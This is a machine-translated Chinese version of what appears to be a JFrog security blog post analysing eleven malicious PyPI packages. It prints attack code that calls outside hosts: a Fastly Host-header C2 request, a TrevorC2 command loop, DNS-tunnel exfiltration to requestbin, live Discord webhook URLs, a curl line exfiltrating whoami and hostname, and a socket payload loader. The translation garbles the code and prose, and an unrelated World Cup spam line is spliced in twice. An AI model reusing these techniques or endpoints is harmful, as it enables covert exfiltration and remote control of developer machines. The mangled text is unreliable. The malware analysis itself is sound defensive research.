Python恶意软件模仿签名的PyPI流量在新颖的泄露技术

Python恶意软件模仿签名的PyPI流量在新颖的泄露技术

JFrog安全研究团队使用我们的自动化工具持续监视流行的开放源码软件(OSS)存储库,向存储库维护人员报告易受攻击和恶意的包。今年早些时候揭露几个恶意软件包针对开发者的私人数据,这些数据被下载了大约3万次。今天,我们将分享11个新的恶意软件包的细节,我们最近发现并向PyPI维护者披露了它们(他们立即删除了它们)。

基于我们的最新发现,在这篇博文中,我们将重点介绍Python恶意软件开发人员使用的一些更高级的技术,以避免检测,并保留在存储库中,以便感染尽可能多的机器。

报告包

#的
下载¹
自动检测指标 描述
importantpackage
important-package
6305
12897
输入模糊的Shell进程

隐藏的连接回壳到psec.forward.io.global.prod.fastly.net,使用trevorc2客户
ppt 10001 ²可疑的版本 使用DNS发送主机名+“|”+ os.getcwd () + ' | ' + str (self.get_wan_ip ()) + + local_ip_str“|”
ipboards 946 敏感文件处理

可疑的版本

依赖关系混乱,通过DNS隧道发送用户信息(用户名,主机名)到b0a0374cd1cb4305002e.d.requestbin.net
owlmoon 3285 eval与混淆的输入 Discord令牌窃取木马。发送令牌

https://discord.com/api/webhooks/875931932360331294/wA0rLs3xX_2JgqlfqEfpYoL9zer_Qs7hpsMbwaDl6-UByE_ZRHiXm0t1lr-o_3RFBqBR

DiscordSafety 557 执行与混淆的输入 Discord令牌窃取木马。发送令牌

https://tornadodomain.000webhostapp.com/stlr.php?token=

trrfab 287 敏感文件处理

可疑的版本

依赖关系混乱,发送用户信息(id, hostname, /etc/passwd, /etc/hosts, /home)到yxznlysc47wvrb9r9z211e1jbah15q.burpcollaborator.net
10 cent10
10 cent11
490
490
壳牌产卵

可疑的版本

连接回shell到硬编码地址104.248.19.57
yandex-yt 4183 可疑的版本 打印pwed消息并定向到https://nda.ya.ru/t/iHLfdCYw3jCVQZ,可能是恶意域名(目前似乎不活跃)
yiffparty 1859 eval与混淆的输入 Discord令牌窃取木马。发送令牌

https://discord.com/api/webhooks/875931932360331294/wA0rLs3xX_2JgqlfqEfpYoL9zer_Qs7hpsMbwaDl6-UByE_ZRHiXm0t1lr-o_3RFBqBR

¹直接取自pepy.tech
²表示a的版本号依赖关系混乱攻击

importantpackage -Connectback外壳具有新颖的渗出作用

importantpackage包含恶意代码,使用一些巧妙的技术来逃避基于网络的检测。

滥用CDN TLS终端进行数据泄露

第一个技巧是使用急剧CDN将与C2服务器的通信伪装为与pypi.org.恶意软件的通信非常简单:

url = " https://pypi.python.org " + " /图片”+“?”+ "guid=" + b64_payload r = request。请求(url, header ={'主机':"psec.forward.io.global.prod.fastly.net"})

这段代码导致一个HTTPS请求被发送到pypi.python.org(这与对PyPI的合法请求没有区别,)它后来被CDN作为一个HTTP请求重新路由到C2服务器psec.forward.io.global.prod.fastly.net(反之亦然,允许双向通信)。

因此,传出的加密请求看起来像这样-

即将离任的加密请求

(注意通信使用了pypi.org的所有原始密码参数)

但是在经过CDN之后,后端(C2)服务器将接收请求未加密的

后端服务器未加密请求

这是如何工作的,为什么?

我们可以从下面的图表中看到-

滥用CDN TLS终端进行数据泄露

PyPI基础设施托管在fast CDN上。此托管使用清漆透明HTTP代理,用于缓存客户端和后端之间的通信。交通首先进入一个TLS终结者为解密³,所以Varnish代理可以检查HTTP包的内容。代理分析来自用户请求的HTTP报头,并根据宿主头。这个过程然后反向重复,允许恶意软件模仿与PyPI的双工通信。

因此,命令和控制(C2)会话被加密并使用合法的服务器证书进行签名,使其与与合法的PyPI资源通信没有区别。2022世界杯阿根廷预选赛赛程

TLS终止器持有相关主机的TLS私有(解密)密钥,在本例中为pypi.org

注意,用fast注册域名非常容易,甚至可以在一定程度上匿名完成(因为在达到一定流量阈值之前,该服务是免费的)。因此,这种技术不需要攻击方提供任何特殊资源。2022世界杯阿根廷预选赛赛程

也就是说,我们没有将这种技术标记为fast中的软件漏洞,因为可以合理地假设宿主标题没有畸形。添加有状态包检查检查来抵消这种技术可能对数据吞吐量产生很大影响,这应该是CDN的主要考虑因素。

考虑到以上所有因素,这种技术确实有其局限性。例如,当构造一个XHR,根据RFC宿主头文件不能被构建XHR的脚本操作。这是幸运的,否则cookie可能会被恶意网页泄露,通过依赖TLS终止,从用户的请求中接收解密的数据,这些数据是用预期主机(例如pypi.org)的TLS密钥加密的。

使用TrevorC2基于http的命令和控制

除了主机头技术,恶意软件开发人员还使用了TrevorC2框架来实现一个屏蔽的命令和控制客户端。使用这个框架,客户端以一种类似于标准网站浏览的方式与服务器联系,使得流量更加模糊。客户端以随机间隔发送请求,并将有效负载隐藏到典型的HTTP GET请求中。例如,一个典型的请求有以下形式:https://pypi.python.org/images/guid= < base64_encoded_payload >

恶意软件开始与C2服务器通信,发送包含受感染机器主机名的请求。如果服务器决定继续会话,恶意软件就会通过HTTP建立一个反向shell,让攻击者完全控制受感染的机器。

这可以在下面的代码片段中看到-

html =点播。get(SITE_URL + ROOT_PATH_QUERY) parse = html.decode().split(")[0] if hostname in parse: parse = parse. confSplit (hostname + "::::")[1] #执行我们解析的命令proc = subprocess。Popen(解析,shell = True, stdout =子流程。PIPE, stderr=subprocess.PIPE) stdout_value = proc. communication ()[0] stdout_value = (hostname + "::::" + str(stdout_value)).encode('utf-8') stdout_value = base64.b64encode(stdout_value).decode('utf-8') #管道输出stdout和base64编码它然后通过查询字符串参数html = req请求。post(SITE_URL + SITE_PATH_QUERY + "?"+ QUERY_STRING, data = stdout_value)

ipboards & pptest -通过dns隧道过滤

恶意软件开发人员使用的另一种流行的网络规避类型是DNS隧道.尽管不是新技术,但这是我们第一次在上传到PyPI的恶意包中使用这种逃避方法。顾名思义,这种技术使用DNS请求作为受害机器和C2服务器之间的通信通道。

当DNS服务器收到带有域的请求时,它会尝试在数据库中查找相应的IP地址。如果没有关于该域的记录,服务器将请求重定向到地址中的第一个已知域。

因此,攻击者可以对信息进行编码,以ASCII格式发送到C2服务器,并在其自己的域名前加上该域名,然后发送DNS查询。(合法的)DNS服务器将把这个包重定向到C2服务器。

例如,ipboards包中存在如下恶意代码:

#将收集到的信息编码为十六进制字符串有效载荷=ip+';'+username+';'+hostname+';'+str(now)+';'+path+';'+packagename+';'+hostFile有效载荷=hexlify(bytes(payload)) #将有效载荷分解为50字节的块chunks = [payload[i:i+50] for i in range(0, len(payload), 50)] #通过DNS请求发送块中的块:DNS .resolver.query(pp .decode("utf-8") +dnss,'A')

这段代码可能会生成如下域名:69703 a75736572617474686576756c6e657261626c656d616368696e65.b0a0374cd1cb4305002e.d.requestbin.net.此域名将作为DNS查询的一部分发送到合法的DNS服务器。

因为DNS服务器不知道整个域的地址,但知道的地址b0a0374cd1cb4305002e.d.requestbin.net,它将把整个请求重定向到这个域(即C2服务器),C2服务器可以从前缀字符串-中提取有效负载69703 a75736572617474686576756c6e657261626c656d616368696e65

owlmoon和DiscordSafety -劫持Discord代币的木马

如我们的以前的网站在美国,许多恶意软件包以Discord用户为目标,窃取他们的身份验证令牌。大多数这些恶意软件包都是基于众所周知的开源“窃取工具”,从技术角度来看并不是很有趣。然而,有时他们在逃避方面更有创意。

我们看到的一个有趣的示例涉及将恶意代码隐藏为依赖项。恶意软件由两部分组成:

  1. 一种窃取令牌且相对容易检测的恶意包
  2. 一个“合法的”包,它可能是通过拼写错误或依赖关系混乱安装的,不包含任何有害的功能。相反,它只是指定要导入的恶意包(在安装时)作为install_requires关键词distutils (insetup . py):
install_requirements =['requests', 'beautifulsoup4', 'owlmoon',]

在本例中,owlmoon是包含实际的Discord令牌劫持逻辑的恶意包。

Bug-bounty-seeking“恶意软件”包

亚历克斯Birsan证明了供应链的错误配置可以获得可观的回报,漏洞搜寻者开始用他们的包淹没存储库,试图利用排位错误和依赖混淆漏洞。今年春天的一个例子——用户remindsupplychainrisks上传了5000多个山寨包进入PyPI和npm存储库。这类包总是出现在存储库中——通常,它们具有相对无害的功能,只是在安装包后发送关于系统的非pii数据(以便作者可以要求奖励):

操作系统。系统('curl https://898b5ca5e76134be965acd[.]bufferover[.]run/yow_utils/$(whoami | base64)/$(hostname -f | base64)')

在其他情况下,很难将它们与恶意软件区分开来。例如,包distutil显然是试图对众所周知的包执行拼写错误攻击distutils.这个包确实有一个“不要下载这个”的描述,但是当调用时由于排版错误而触发安装时,这个描述是不可见的皮普(通过命令行或requirements.txt文件)。此外,功能distutil软件包具有极高的安全性影响(超出要求bug赏金所需的程度)。安装后,包立即尝试连接到一个IP地址,从它读取一个编码的有效负载,并执行该有效负载作为Python代码

import socket,zlib,base64,struct,time for x in range(10): try: s=socket.socket(2,socket. sock_stream) s.connect(('192.168.1.69',4444)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)

尽管我们的恶意代码检测器标记了很多这样的包,但我们不希望报告所有的包,因为我们JFrog Security支持这些漏洞赏金工作。因此,我们只会在以下情况下报告这类软件包,它们属于恶意软件的边缘:

  1. 包描述没有显式提到此包用于安全测试目的
  2. 包有效负载执行不必要的侵入性操作(例如,connectback shell,报告敏感数据,如密码等)。

结论

虽然这组恶意软件包可能没有我们之前发现的“牙齿”,但值得注意的是它们执行的复杂程度在不断提高。这不是在光天化日之下伸手去拿你的钱包——但这些软件包中有更多的诡计,其中一些甚至可能在最初的侦察之后为后续攻击做准备,而不是运行一个高度危险的有效载荷来启动。

请继续关注

除了暴露新安全漏洞和威胁,JFrog为开发人员和安全团队提供了方便的访问他们的软件的最新相关信息的自动安全扫描JFrog x光.请继续关注我们的产品更新,包括自动漏洞和恶意代码检测,以防御最新出现的威胁。

问题吗?想法吗?联系我们在research@www.si-fil.com对于任何询问。

阅读更多: